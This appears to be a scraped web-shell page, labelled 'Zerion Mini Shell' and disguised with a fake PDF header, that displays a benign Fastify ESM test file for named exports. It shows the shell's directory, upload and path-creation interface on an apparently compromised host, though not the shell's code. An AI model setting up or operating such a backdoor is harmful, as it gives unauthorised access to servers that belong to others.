%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/rezakur1/api.rezakurnia.com/zh-router/node_modules/fastify/test/esm/
Upload File :
Create Path :
Current File : /home2/rezakur1/api.rezakurnia.com/zh-router/node_modules/fastify/test/esm/named-exports.mjs

import { test } from 'node:test'
import { fastify } from '../../fastify.js'

// This test is executed in index.test.js
test('named exports support', async t => {
  const app = fastify()

  app.register(import('./plugin.mjs'), { foo: 'bar' })
  app.register(import('./other.mjs'))

  await app.ready()

  t.assert.strictEqual(app.foo, 'bar')
})

Zerion Mini Shell 1.0